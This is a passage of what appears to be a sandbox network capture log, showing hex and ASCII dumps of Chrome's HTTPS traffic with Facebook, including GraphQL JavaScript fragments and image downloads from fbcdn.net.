2024-04-11 20:35:32 UTC	16384	IN	Data Raw: 69 6e 64 3a 22 49 6e 6c 69 6e 65 46 72 61 67 6d 65 6e 74 22 2c 73 65 6c 65 63 74 69 6f 6e 73 3a 5b 7b 61 72 67 73 3a 6e 75 6c 6c 2c 64 6f 63 75 6d 65 6e 74 4e 61 6d 65 3a 22 50 72 6f 66 69 6c 65 43 6f 6d 65 74 41 62 6f 75 74 50 72 6f 66 69 6c 65 46 69 65 6c 64 53 65 63 74 69 6f 6e 5f 73 65 63 74 69 6f 6e 5f 65 64 69 74 5f 72 65 6e 64 65 72 65 72 22 2c 66 72 61 67 6d 65 6e 74 4e 61 6d 65 3a 22 50 72 6f 66 69 6c 65 47 65 6d 69 6e 69 57 6f 72 6b 50 68 6f 6e 65 4e 75 6d 62 65 72 50 72 6f 66 69 6c 65 46 69 65 6c 64 45 64 69 74 52 65 6e 64 65 72 65 72 5f 65 64 69 74 52 65 6e 64 65 72 65 72 22 2c 66 72 61 67 6d 65 6e 74 50 72 6f 70 4e 61 6d 65 3a 22 65 64 69 74 52 65 6e 64 65 72 65 72 22 2c 6b 69 6e 64 3a 22 4d 6f 64 75 6c 65 49 6d 70 6f 72 74 22 7d 5d 2c 74 79 Data Ascii: ind:"InlineFragment",selections:[{args:null,documentName:"ProfileCometAboutProfileFieldSection_section_edit_renderer",fragmentName:"ProfileGeminiWorkPhoneNumberProfileFieldEditRenderer_editRenderer",fragmentPropName:"editRenderer",kind:"ModuleImport"}],ty
2024-04-11 20:35:32 UTC	16384	IN	Data Raw: 74 50 72 6f 70 4e 61 6d 65 3a 22 65 64 69 74 52 65 6e 64 65 72 65 72 22 2c 6b 69 6e 64 3a 22 4d 6f 64 75 6c 65 49 6d 70 6f 72 74 22 7d 5d 2c 74 79 70 65 3a 22 43 61 74 65 67 6f 72 79 50 72 6f 66 69 6c 65 46 69 65 6c 64 45 64 69 74 52 65 6e 64 65 72 65 72 22 2c 61 62 73 74 72 61 63 74 4b 65 79 3a 6e 75 6c 6c 7d 2c 7b 6b 69 6e 64 3a 22 49 6e 6c 69 6e 65 46 72 61 67 6d 65 6e 74 22 2c 73 65 6c 65 63 74 69 6f 6e 73 3a 5b 7b 61 72 67 73 3a 6e 75 6c 6c 2c 64 6f 63 75 6d 65 6e 74 4e 61 6d 65 3a 22 50 72 6f 66 69 6c 65 43 6f 6d 65 74 41 62 6f 75 74 50 72 6f 66 69 6c 65 46 69 65 6c 64 53 65 63 74 69 6f 6e 5f 73 65 63 74 69 6f 6e 5f 65 64 69 74 5f 72 65 6e 64 65 72 65 72 22 2c 66 72 61 67 6d 65 6e 74 4e 61 6d 65 3a 22 50 72 6f 66 69 6c 65 43 6f 6d 65 74 43 61 74 65 Data Ascii: tPropName:"editRenderer",kind:"ModuleImport"}],type:"CategoryProfileFieldEditRenderer",abstractKey:null},{kind:"InlineFragment",selections:[{args:null,documentName:"ProfileCometAboutProfileFieldSection_section_edit_renderer",fragmentName:"ProfileCometCate
2024-04-11 20:35:32 UTC	1500	IN	Data Raw: 72 74 73 3d 61 7d 29 2c 6e 75 6c 6c 29 3b 0a 5f 5f 64 28 22 50 72 6f 66 69 6c 65 43 6f 6d 65 74 41 62 6f 75 74 50 72 6f 66 69 6c 65 46 69 65 6c 64 4c 69 73 74 49 74 65 6d 47 72 6f 75 70 5f 6c 69 73 74 49 74 65 6d 47 72 6f 75 70 2e 67 72 61 70 68 71 6c 22 2c 5b 5d 2c 28 66 75 6e 63 74 69 6f 6e 28 61 2c 62 2c 63 2c 64 2c 65 2c 66 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 61 3d 7b 61 72 67 75 6d 65 6e 74 44 65 66 69 6e 69 74 69 6f 6e 73 3a 5b 5d 2c 6b 69 6e 64 3a 22 46 72 61 67 6d 65 6e 74 22 2c 6d 65 74 61 64 61 74 61 3a 6e 75 6c 6c 2c 6e 61 6d 65 3a 22 50 72 6f 66 69 6c 65 43 6f 6d 65 74 41 62 6f 75 74 50 72 6f 66 69 6c 65 46 69 65 6c 64 4c 69 73 74 49 74 65 6d 47 72 6f 75 70 5f 6c 69 73 74 49 74 65 6d 47 72 6f 75 70 22 2c 73 65 6c 65 63 74 69 6f 6e 73 Data Ascii: rts=a}),null);__d("ProfileCometAboutProfileFieldListItemGroup_listItemGroup.graphql",[],(function(a,b,c,d,e,f){"use strict";a={argumentDefinitions:[],kind:"Fragment",metadata:null,name:"ProfileCometAboutProfileFieldListItemGroup_listItemGroup",selections
2024-04-11 20:35:32 UTC	14884	IN	Data Raw: 75 6c 6c 7d 2c 7b 61 6c 69 61 73 3a 6e 75 6c 6c 2c 61 72 67 73 3a 6e 75 6c 6c 2c 6b 69 6e 64 3a 22 53 63 61 6c 61 72 46 69 65 6c 64 22 2c 6e 61 6d 65 3a 22 77 69 64 74 68 22 2c 73 74 6f 72 61 67 65 4b 65 79 3a 6e 75 6c 6c 7d 5d 2c 73 74 6f 72 61 67 65 4b 65 79 3a 6e 75 6c 6c 7d 2c 7b 61 6c 69 61 73 3a 6e 75 6c 6c 2c 61 72 67 73 3a 6e 75 6c 6c 2c 63 6f 6e 63 72 65 74 65 54 79 70 65 3a 22 54 65 78 74 57 69 74 68 45 6e 74 69 74 69 65 73 22 2c 6b 69 6e 64 3a 22 4c 69 6e 6b 65 64 46 69 65 6c 64 22 2c 6e 61 6d 65 3a 22 74 69 74 6c 65 22 2c 70 6c 75 72 61 6c 3a 21 31 2c 73 65 6c 65 63 74 69 6f 6e 73 3a 5b 7b 61 72 67 73 3a 6e 75 6c 6c 2c 66 72 61 67 6d 65 6e 74 3a 62 28 22 43 6f 6d 65 74 54 65 78 74 57 69 74 68 45 6e 74 69 74 69 65 73 52 65 6c 61 79 5f 74 65 78 Data Ascii: ull},{alias:null,args:null,kind:"ScalarField",name:"width",storageKey:null}],storageKey:null},{alias:null,args:null,concreteType:"TextWithEntities",kind:"LinkedField",name:"title",plural:!1,selections:[{args:null,fragment:b("CometTextWithEntitiesRelay_tex
2024-04-11 20:35:32 UTC	16384	IN	Data Raw: 6e 64 6c 65 72 22 2c 66 72 61 67 6d 65 6e 74 50 72 6f 70 4e 61 6d 65 3a 22 68 61 6e 64 6c 65 72 22 2c 6b 69 6e 64 3a 22 4d 6f 64 75 6c 65 49 6d 70 6f 72 74 22 7d 5d 2c 74 79 70 65 3a 22 50 72 6f 66 69 6c 65 47 72 6f 75 70 41 63 74 69 6f 6e 54 75 72 6e 4f 6e 50 6f 73 74 41 70 70 72 6f 76 61 6c 46 6f 72 4d 65 6d 62 65 72 48 61 6e 64 6c 65 72 22 2c 61 62 73 74 72 61 63 74 4b 65 79 3a 6e 75 6c 6c 7d 2c 7b 6b 69 6e 64 3a 22 49 6e 6c 69 6e 65 46 72 61 67 6d 65 6e 74 22 2c 73 65 6c 65 63 74 69 6f 6e 73 3a 5b 7b 61 72 67 73 3a 6e 75 6c 6c 2c 64 6f 63 75 6d 65 6e 74 4e 61 6d 65 3a 22 50 72 6f 66 69 6c 65 43 6f 6d 65 74 41 63 74 69 6f 6e 54 72 69 67 67 65 72 5f 61 63 74 69 6f 6e 22 2c 66 72 61 67 6d 65 6e 74 4e 61 6d 65 3a 22 50 72 6f 66 69 6c 65 43 6f 6d 65 74 47 Data Ascii: ndler",fragmentPropName:"handler",kind:"ModuleImport"}],type:"ProfileGroupActionTurnOnPostApprovalForMemberHandler",abstractKey:null},{kind:"InlineFragment",selections:[{args:null,documentName:"ProfileCometActionTrigger_action",fragmentName:"ProfileCometG
2024-04-11 20:35:32 UTC	16384	IN	Data Raw: 22 49 6d 61 67 65 22 2c 6b 69 6e 64 3a 22 4c 69 6e 6b 65 64 46 69 65 6c 64 22 2c 6e 61 6d 65 3a 22 70 72 6f 66 69 6c 65 5f 70 69 63 74 75 72 65 22 2c 70 6c 75 72 61 6c 3a 21 31 2c 73 65 6c 65 63 74 69 6f 6e 73 3a 6b 2c 73 74 6f 72 61 67 65 4b 65 79 3a 6e 75 6c 6c 7d 2c 7b 61 6c 69 61 73 3a 22 70 72 6f 66 69 6c 65 50 69 63 53 6d 61 6c 6c 22 2c 61 72 67 73 3a 5b 7b 6b 69 6e 64 3a 22 4c 69 74 65 72 61 6c 22 2c 6e 61 6d 65 3a 22 68 65 69 67 68 74 22 2c 76 61 6c 75 65 3a 31 30 30 7d 2c 69 2c 7b 6b 69 6e 64 3a 22 4c 69 74 65 72 61 6c 22 2c 6e 61 6d 65 3a 22 77 69 64 74 68 22 2c 76 61 6c 75 65 3a 31 30 30 7d 5d 2c 63 6f 6e 63 72 65 74 65 54 79 70 65 3a 22 49 6d 61 67 65 22 2c 6b 69 6e 64 3a 22 4c 69 6e 6b 65 64 46 69 65 6c 64 22 2c 6e 61 6d 65 3a 22 70 72 6f 66 Data Ascii: "Image",kind:"LinkedField",name:"profile_picture",plural:!1,selections:k,storageKey:null},{alias:"profilePicSmall",args:[{kind:"Literal",name:"height",value:100},i,{kind:"Literal",name:"width",value:100}],concreteType:"Image",kind:"LinkedField",name:"prof
2024-04-11 20:35:32 UTC	14884	IN	Data Raw: 63 74 22 3b 61 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 61 3d 5b 7b 64 65 66 61 75 6c 74 56 61 6c 75 65 3a 6e 75 6c 6c 2c 6b 69 6e 64 3a 22 4c 6f 63 61 6c 41 72 67 75 6d 65 6e 74 22 2c 6e 61 6d 65 3a 22 69 6e 70 75 74 22 7d 5d 2c 63 3d 5b 7b 61 6c 69 61 73 3a 6e 75 6c 6c 2c 61 72 67 73 3a 5b 7b 6b 69 6e 64 3a 22 56 61 72 69 61 62 6c 65 22 2c 6e 61 6d 65 3a 22 69 6e 70 75 74 5f 64 61 74 61 22 2c 76 61 72 69 61 62 6c 65 4e 61 6d 65 3a 22 69 6e 70 75 74 22 7d 5d 2c 63 6f 6e 63 72 65 74 65 54 79 70 65 3a 22 41 76 61 74 61 72 43 6f 76 65 72 50 68 6f 74 6f 54 61 6b 65 6f 76 65 72 49 6d 70 72 65 73 73 69 6f 6e 52 65 73 70 6f 6e 73 65 50 61 79 6c 6f 61 64 22 2c 6b 69 6e 64 3a 22 4c 69 6e 6b 65 64 46 69 65 6c 64 22 2c 6e 61 6d 65 3a 22 61 76 61 74 61 72 5f Data Ascii: ct";a=function(){var a=[{defaultValue:null,kind:"LocalArgument",name:"input"}],c=[{alias:null,args:[{kind:"Variable",name:"input_data",variableName:"input"}],concreteType:"AvatarCoverPhotoTakeoverImpressionResponsePayload",kind:"LinkedField",name:"avatar_

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
115	192.168.2.4	49939	157.240.241.1	443	5984	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 20:35:32 UTC	830	OUT	GET /v/t1.6435-9/206212128_286310049560622_2434215158864310035_n.jpg?stp=dst-jpg_fb50_p110x80&_nc_cat=104&ccb=1-7&_nc_sid=5f2048&_nc_ohc=Uq8wNHIYnA8Ab5AZxYo&_nc_ht=scontent-lga3-2.xx&oh=00_AfCAZUXFttlHfrY2FVShZl7WOc0Lz1SiIRihgMXzwIIP0w&oe=663FD0B6 HTTP/1.1 Host: scontent-lga3-2.xx.fbcdn.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.facebook.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-11 20:35:32 UTC	786	IN	HTTP/1.1 200 OK x-storage-error-category: dfs:none;sc_p:200:WSE_NOT_SET Last-Modified: Thu, 24 Jun 2021 19:40:52 GMT X-Needle-Checksum: 3897982997 thrift_fmhk: GBB65HBQcclemorsYbhTneiDFfDr4Z0EvFUAAAA= Content-Type: image/jpeg content-digest: adler32=3574726140 cross-origin-resource-policy: cross-origin timing-allow-origin: * Access-Control-Allow-Origin: * Cache-Control: max-age=1209600, no-transform Accept-Ranges: bytes Date: Thu, 11 Apr 2024 20:35:32 GMT X-FB-Edge-Debug: t9OPExUdc02Dcx53N4axTK-1fMjqkWr5FSvY8BugN5JC5S7fRdLqcPX14zCI8Jy7sjEnt2YZKcTLDFYickJiDQWP1dtByp91m9xD83qg0G0 X-FB-Connection-Quality: GOOD; q=0.7, rtt=88, rtx=0, c=14, mss=1277, tbw=3412, tp=-1, tpl=-1, uplat=106, ullat=0 Alt-Svc: h3=":443"; ma=86400 Connection: close Content-Length: 1036
2024-04-11 20:35:32 UTC	714	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 00 00 01 00 01 00 00 ff ed 00 84 50 68 6f 74 6f 73 68 6f 70 20 33 2e 30 00 38 42 49 4d 04 04 00 00 00 00 00 68 1c 02 28 00 62 46 42 4d 44 30 61 30 30 30 61 36 63 30 31 30 30 30 30 31 31 30 32 30 30 30 30 33 33 30 32 30 30 30 30 35 34 30 32 30 30 30 30 37 35 30 32 30 30 30 30 39 61 30 32 30 30 30 30 61 37 30 32 30 30 30 30 32 36 30 33 30 30 30 30 34 37 30 33 30 30 30 30 36 64 30 33 30 30 30 30 30 63 30 34 30 30 30 30 00 ff db 00 43 00 06 04 05 06 05 04 06 06 05 06 07 07 06 08 0a 10 0a 0a 09 09 0a 14 0e 0f 0c 10 17 14 18 18 17 14 16 16 1a 1d 25 1f 1a 1b 23 1c 16 16 20 2c 20 23 26 27 29 2a 29 19 1f 2d 30 2d 28 30 25 28 29 28 ff db 00 43 01 07 07 07 0a 08 0a 13 0a 0a 13 28 1a 16 1a 28 28 28 28 28 28 28 28 28 28 28 28 28 Data Ascii: JFIFPhotoshop 3.08BIMh(bFBMD0a000a6c010000110200003302000054020000750200009a020000a702000026030000470300006d0300000c040000C%# , #&')*)-0-(0%()(C((((((((((((((
2024-04-11 20:35:32 UTC	322	IN	Data Raw: ff 00 5d 53 e6 9c fd fb fe f3 f3 e9 ac be cb 2f ff 00 fd 70 7f 59 bf db cf f6 f3 3e af c7 bf 3c ff 00 ff 00 f5 d9 1e 67 bf 1c f0 d7 f8 ef a6 cf 9b 0e ff 00 ff 00 d7 a6 ba c2 0f ff 00 c3 0c 20 d7 5b f0 1f ff 00 ff c4 00 14 11 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 ff da 00 08 01 03 01 01 3f 10 53 ff c4 00 14 11 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 ff da 00 08 01 02 01 01 3f 10 53 ff c4 00 19 10 00 03 01 01 01 00 00 00 00 00 00 00 00 00 00 00 00 01 11 10 20 30 ff da 00 08 01 01 00 01 3f 10 e9 62 10 84 21 62 d5 af c9 eb f5 58 84 21 08 58 b5 6b f2 7a f8 84 27 6b 10 84 21 0b 16 ae 21 09 db c9 b0 84 21 3b 5a 84 21 0b 16 ad 7e 4c 9c 42 10 84 ed 6a 10 84 2c 5a ba 7d bd 48 84 21 08 4e d6 a1 08 4c 4c a2 65 28 99 4a 5e 29 4a 52 e3 d4 42 10 Data Ascii: ]S/pY><g [`?S`?S 0?b!bX!Xkz'k!!!;Z!~LBj,Z}H!NLLe(J^)JRB

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
116	192.168.2.4	49938	157.240.241.1	443	5984	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 20:35:32 UTC	826	OUT	GET /v/t1.6435-9/206212128_286310049560622_2434215158864310035_n.jpg?stp=dst-jpg_s960x960&_nc_cat=104&ccb=1-7&_nc_sid=5f2048&_nc_ohc=Uq8wNHIYnA8Ab5AZxYo&_nc_ht=scontent-lga3-2.xx&oh=00_AfAF4pxDyNudHF7xMFtcXwy7ef2UAhVnPQNVbUvBDAjIZg&oe=663FD0B6 HTTP/1.1 Host: scontent-lga3-2.xx.fbcdn.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.facebook.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-11 20:35:32 UTC	787	IN	HTTP/1.1 200 OK x-storage-error-category: dfs:none;sc_p:200:WSE_NOT_SET Last-Modified: Thu, 24 Jun 2021 19:40:52 GMT X-Needle-Checksum: 3897982997 thrift_fmhk: GBB65HBQcclemorsYbhTneiDFfDr4Z0EvFUAAAA= Content-Type: image/jpeg content-digest: adler32=3246996485 cross-origin-resource-policy: cross-origin timing-allow-origin: * Access-Control-Allow-Origin: * Cache-Control: max-age=1209600, no-transform Accept-Ranges: bytes Date: Thu, 11 Apr 2024 20:35:32 GMT X-FB-Edge-Debug: -YSupGyvvSDqauJIccbE7cYEd32QH8r3bg42L8RJHCBu3FE2RFnIXCGV0fNEFafM1axVgnJp2gjI9My8g6K_vPcAyQ-O-Xtwe8Ja07DhyQ4 X-FB-Connection-Quality: GOOD; q=0.7, rtt=88, rtx=0, c=14, mss=1277, tbw=3412, tp=-1, tpl=-1, uplat=111, ullat=1 Alt-Svc: h3=":443"; ma=86400 Connection: close Content-Length: 27354
2024-04-11 20:35:32 UTC	713	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 00 00 01 00 01 00 00 ff ed 00 84 50 68 6f 74 6f 73 68 6f 70 20 33 2e 30 00 38 42 49 4d 04 04 00 00 00 00 00 68 1c 02 28 00 62 46 42 4d 44 30 61 30 30 30 61 37 30 30 31 30 30 30 30 31 32 30 39 30 30 30 30 39 37 31 33 30 30 30 30 64 38 31 34 30 30 30 30 30 31 31 36 30 30 30 30 63 64 31 64 30 30 30 30 30 64 33 37 30 30 30 30 66 31 33 39 30 30 30 30 33 33 33 62 30 30 30 30 35 30 33 63 30 30 30 30 64 61 36 61 30 30 30 30 00 ff db 00 43 00 06 04 05 06 05 04 06 06 05 06 07 07 06 08 0a 10 0a 0a 09 09 0a 14 0e 0f 0c 10 17 14 18 18 17 14 16 16 1a 1d 25 1f 1a 1b 23 1c 16 16 20 2c 20 23 26 27 29 2a 29 19 1f 2d 30 2d 28 30 25 28 29 28 ff db 00 43 01 07 07 07 0a 08 0a 13 0a 0a 13 28 1a 16 1a 28 28 28 28 28 28 28 28 28 28 28 28 28 Data Ascii: JFIFPhotoshop 3.08BIMh(bFBMD0a000a700100001209000097130000d814000001160000cd1d00000d370000f1390000333b0000503c0000da6a0000C%# , #&')*)-0-(0%()(C((((((((((((((
2024-04-11 20:35:32 UTC	1500	IN	Data Raw: 0e a8 aa 2c e8 20 85 cc 3a 12 a8 29 08 05 cc 3a ce c2 82 98 ca 05 ac c3 ac e8 18 1a 8c a0 2e 63 41 b2 84 aa 32 d9 18 8d 06 86 a2 10 17 22 11 a0 4d 48 d8 96 06 b2 39 a3 40 9a a8 11 2c eb 23 9a 35 66 36 20 1a 8c d4 56 a1 88 47 23 9d 86 64 2b 50 c4 1a 22 ce c3 32 14 a4 80 a2 58 d4 66 d6 4a 52 a0 d5 40 31 9b 59 2a d1 9d 90 c2 d2 34 cc 5a 02 b4 67 64 39 61 0d 18 b4 05 21 b2 10 46 23 36 a3 35 16 a8 9c e8 a8 03 51 9a 89 61 88 47 23 9d 86 64 2b 50 c4 48 0e 76 19 90 a5 18 83 59 47 1a 8c c8 52 92 44 1a 26 8c b6 4f d3 22 34 10 25 a8 05 c1 fa 64 44 41 32 96 a0 17 06 ec 68 44 10 07 44 46 bb 2e 57 59 d7 77 c4 d7 49 bf 6f c6 e1 2c b1 6e f7 35 d1 73 f4 f6 33 aa 6b f3 d5 4d 72 5f 64 d7 04 59 a9 53 45 95 0d 7e 7d af 2b ab 3d e7 f2 9a e9 4e ff 00 1b e7 a2 d1 67 5f 6b 7e 17 Data Ascii: , :):.cA2"MH9@,#5f6 VG#d+P"2XfJR@1Y*4Zgd9a!F#65QaG#d+PHvYGRD&O"4%dDA2hDDF.WYwIo,n5s3kMr_dYSE~}+=Ng_k~
2024-04-11 20:35:32 UTC	1790	IN	Data Raw: c6 51 2a 88 a1 98 26 32 90 a0 22 09 a8 84 33 a7 25 a0 26 0a d4 38 d0 0b 91 40 98 26 87 3a 80 d6 46 a2 a0 93 41 30 1a c8 c2 20 82 68 ce a8 05 08 44 12 2d 19 d9 19 94 09 35 89 22 d0 6b 29 95 8f ff c4 00 2b 10 00 01 02 06 02 02 02 03 01 00 03 01 01 00 00 00 01 00 10 03 04 11 20 31 41 02 05 06 21 12 13 14 16 30 15 23 24 25 35 22 ff da 00 08 01 01 00 01 05 02 b4 31 cd a5 6b da 37 e8 2f 68 ad 5a 2c 19 b4 38 63 9b 4a d7 b4 51 bb 41 7b 45 6a d0 de d8 66 d0 c5 06 39 b4 ad 7b 47 26 ed 0c 7b 45 6a dd 05 ed 6b 8e 5c b0 55 45 52 d2 56 95 51 54 b7 41 8a d5 94 41 55 15 a0 6f 2c 15 51 54 b4 ad 05 54 55 2d d0 62 b5 68 55 45 68 5b 46 28 a0 83 52 d2 b4 15 51 54 b7 41 8a d5 d5 f6 c0 ac 35 1f 41 f3 66 81 72 f4 70 aa b7 5b 28 b1 66 8b 51 f0 d4 45 b4 1f 2f 45 a1 75 2c aa dd 51 Data Ascii: Q*&2"3%&8@&:FA0 hD-5"k)+ 1A!0#$%5"1k7/hZ,8cJQA{Ejf9{G&{Ejk\UERVQTAAUo,QTTU-bhUEh[F(RQTA5Afrp[(fQE/Eu,Q
2024-04-11 20:35:32 UTC	4064	IN	Data Raw: 1f f6 3f 53 11 be f9 89 0e f2 24 b4 28 fe 43 cf e1 d9 76 ff 00 9b 29 d5 ce 09 29 99 f9 9f cb 9b 5d 77 71 1e 4f 81 f2 20 17 61 3f 1a 78 a2 8d d5 f4 c5 6a dd 05 e9 6b 8d 85 14 17 a4 6e 2b 5f c3 4c 56 ad 0b d2 2b 42 e0 e1 8d c5 69 8d da 62 b5 68 0b d2 2b 42 e0 bd 22 82 f4 8d c5 69 7a 47 f8 95 ab 74 32 b4 2c 21 69 53 f8 85 44 55 6d d0 54 45 1c 5a 33 44 56 9b 36 90 b4 a9 fc 42 a2 2a b6 e8 2a 22 8e 2d 19 a2 2b 57 90 b4 80 fe 21 51 15 5b 74 15 11 45 56 d0 e5 68 b5 56 82 2d 56 08 da 50 55 59 b6 b6 56 ea a2 87 b4 56 98 22 d5 5a 08 b5 58 23 69 41 57 f9 56 ea a2 87 b4 56 98 22 fa 08 b5 58 23 69 41 57 f9 55 66 da a3 60 70 b0 b2 8b 94 11 b3 36 84 5f 2d 87 08 d8 16 2c 08 a0 e1 61 65 17 38 08 d9 9b 42 2f 96 c3 84 6c 0b 16 04 50 70 b0 b2 8b 94 11 b3 36 84 5f 2d 87 90 e9 Data Ascii: ?S$(Cv))]wqO a?xjkn+_LV+Bibh+B"izGt2,!iSDUmTEZ3DV6B**"-+W!Q[tEVhV-VPUYVV"ZX#iAWVV"X#iAWUf`p6_-,ae8B/lPp6_-
2024-04-11 20:35:32 UTC	4064	IN	Data Raw: 74 7a 0a 8f e8 88 0d c9 fc 15 ed 03 71 08 4f 5c 21 43 78 35 2e 99 87 b6 9e c3 7d 60 94 8a 21 ad 14 1e 1f a1 6d 44 32 46 a0 9e cf e0 98 09 49 04 ed 93 1c 0d da a5 65 98 8a f4 23 48 cc df 0a d3 46 8d fa 33 e5 e2 67 48 8b 67 f6 7b 68 dc 8d 64 59 9f f2 51 4f 84 fb c3 f8 27 1f 44 46 8d c8 a9 9a 3f b1 2c 76 26 44 89 c1 e9 84 f5 e3 7e 07 b6 0f 4e 82 a3 fa 3f a2 34 8f 4d f0 ad 41 a3 7e 8c f9 78 94 f4 88 b6 7f 47 f4 37 3e 1c 99 15 29 f0 9f 67 f0 4e 3e 88 80 dc 8a 98 96 7f 66 bc 27 1f 04 48 9c 7d 9f c1 3c 2f 1b 2e 8f 6c 1e 9d 05 45 7c 8f e8 6b 48 98 cd f0 ad 41 a3 7e 8c f9 78 99 dd 12 d3 3f a3 fa 1d 9d 0b 93 22 a4 df 84 f8 1f c1 38 fa 22 34 6e 44 e1 94 63 fb 9a 18 9c 7c 16 cc 21 9c 1e d8 37 d6 78 ec 7f e4 25 66 89 09 0f c2 da 31 47 be 1a f0 94 b2 66 be 85 f6 3b 79 Data Ascii: tzqO\!Cx5.}`!mD2FIe#HF3gHg{hdYQO'DF?,v&D~N?4MA~xG7>)gN>f'H}</.lE\|kHA~x?"8"4nDc\|!7x%f1Gf;y
2024-04-11 20:35:32 UTC	4064	IN	Data Raw: 87 84 bb c2 78 e0 8d 32 79 68 d4 68 92 c6 ec ff 00 d0 b5 78 4a 49 8c c3 b7 05 b7 06 a3 c5 28 ba ff 00 04 dc 9a f1 fd 1f d1 38 44 4d af 19 f2 3a bc 34 59 4f 88 8d fa 27 0f 4f ec dc df 1c 9f 46 8e ab 0d f8 78 4b 97 85 ab 82 39 13 cb 46 a0 49 63 76 63 fc 96 af 09 49 4a 58 76 e0 99 d1 a8 f1 4a 2c be 09 b9 12 fc 7f 47 f4 4c 52 22 73 c6 7c ce af 0d 1d bc 44 6f d1 3f b1 fd 1e 9b e3 0c 68 ea b0 df 87 84 bb 2d 4f 08 d3 fd 1e da 35 02 4b 1b b3 1f e4 57 5e 12 92 94 b0 ed c1 6d 1a 83 4a a5 7f f6 8a 2d 65 d4 e5 fe 88 8d 3f fa de d0 ed 57 bf fe ef c3 7c a0 89 b4 74 e0 8e 86 cd 21 2d 52 4c 62 34 fe 89 e5 a3 50 c9 ec 85 86 72 51 26 12 1d b4 56 0d 22 37 e8 b6 8d 40 98 a2 1f 02 b0 93 96 44 72 88 27 d8 dc 89 72 cf e0 6b 95 82 70 42 7a 1a 97 a3 4d 41 61 5a 78 4f 42 52 4c 0f Data Ascii: x2yhhxJI(8DM:4YO'OFxK9FIcvcIJXvJ,GLR"s\|Do?h-O5KW^mJ-e?W\|t!-RLb4PrQ&V"7@Dr'rkpBzMAaZxOBRL
2024-04-11 20:35:32 UTC	1500	IN	Data Raw: e8 63 b6 1c c5 b7 08 28 84 b4 66 03 3a 81 81 f8 c4 45 0d 8e 18 9b 11 4c 64 79 8d b3 98 fe a2 30 cf b7 53 2b b6 01 35 27 04 6b 01 ee c5 49 66 9c 4a c2 4f 88 af 69 b6 3b 8a ab c8 f1 17 4d 74 c4 0f b0 94 64 d3 d3 a8 95 9b 59 81 6e 9f b8 8d 16 b3 6c 2e ea c3 35 52 c1 7f 02 34 db 4a 2e c8 da d6 3f d8 97 86 a5 1a 51 d2 00 5f c0 8b b6 ba 20 92 d6 bb 31 c4 83 f4 41 57 01 d6 23 82 60 c1 88 c0 27 e1 84 ce 6e 9c 4c ae 46 59 86 1c 18 51 5c 42 5a 50 a8 51 66 bb 87 39 6d c2 0a 21 cc 14 a2 50 ce b8 88 58 7e 31 02 41 44 e1 88 b3 88 14 ac ce f9 25 ef 8f 28 91 58 79 89 a1 05 0b 17 18 88 54 1b 3b cc 75 0f 81 02 c5 81 35 19 b6 7b 8a ec 72 45 31 cb 93 15 5b 5b 67 ee 04 bd 6a 6a 4e 18 9f 67 f1 0c 38 80 35 bf 0c 3c 69 af 31 79 6b fb 94 68 be 9d 44 56 b2 aa 3a 71 2c 50 dc cc d7 Data Ascii: c(f:ELdy0S+5'kIfJOi;MtdYnl.5R4J.?Q_ 1AW#`'nLFYQ\BZPQf9m!PX~1AD%(XyT;u5{rE1[[gjjNg85<i1ykhDV:q,P
2024-04-11 20:35:32 UTC	1500	IN	Data Raw: 13 4b 3e 60 25 38 ee 22 9b c2 45 f0 3b 65 31 cf b3 05 bb bc cf 05 da 2e c6 3b 23 2e f4 6a 05 16 73 30 56 c6 37 2a 64 df 70 4d 1a 75 01 54 0a ce 4e de a2 2b 65 25 65 fc 47 1b 76 46 d4 14 b6 58 50 d4 45 0b bd c5 70 b5 ab 2c bd 40 02 45 57 36 b0 a8 2a bc 73 2b 51 8e 91 ed c8 ec 94 cb e8 cc ae 46 20 25 50 bc c0 5b 85 b5 b8 d9 63 57 b8 40 a0 8d 5d ac 4a b5 48 21 a4 ef 96 22 b2 56 9a e8 88 a9 2a 08 6f 22 f3 28 25 28 ee 60 c1 ce 37 10 b0 d9 de 62 28 de 12 ea 65 02 8e d9 4c 73 62 e9 be 65 f4 3b 45 d8 c7 71 ca f5 c3 10 6c df 88 ef 97 77 b9 80 1c e7 31 c8 6b 84 22 2c 16 7f c9 82 2a b6 b9 81 4a f8 b1 5b f7 04 2a 09 d7 12 83 94 dc 74 01 94 5b 6d df e0 2d 50 79 99 91 b1 35 28 55 39 cc 00 e2 e6 21 56 9f 62 18 10 b4 32 c4 ab 73 f8 28 56 ce 98 aa a2 62 f1 0c 06 d8 c9 2a Data Ascii: K>`%8"E;e1.;#.js0V7dpMuTN+e%eGvFXPEp,@EW6s+QF %P[cW@]JH!"Vo"(%(`7b(eLsbe;Eqlw1k",J[t[m-Py5(U9!Vb2s(Vb
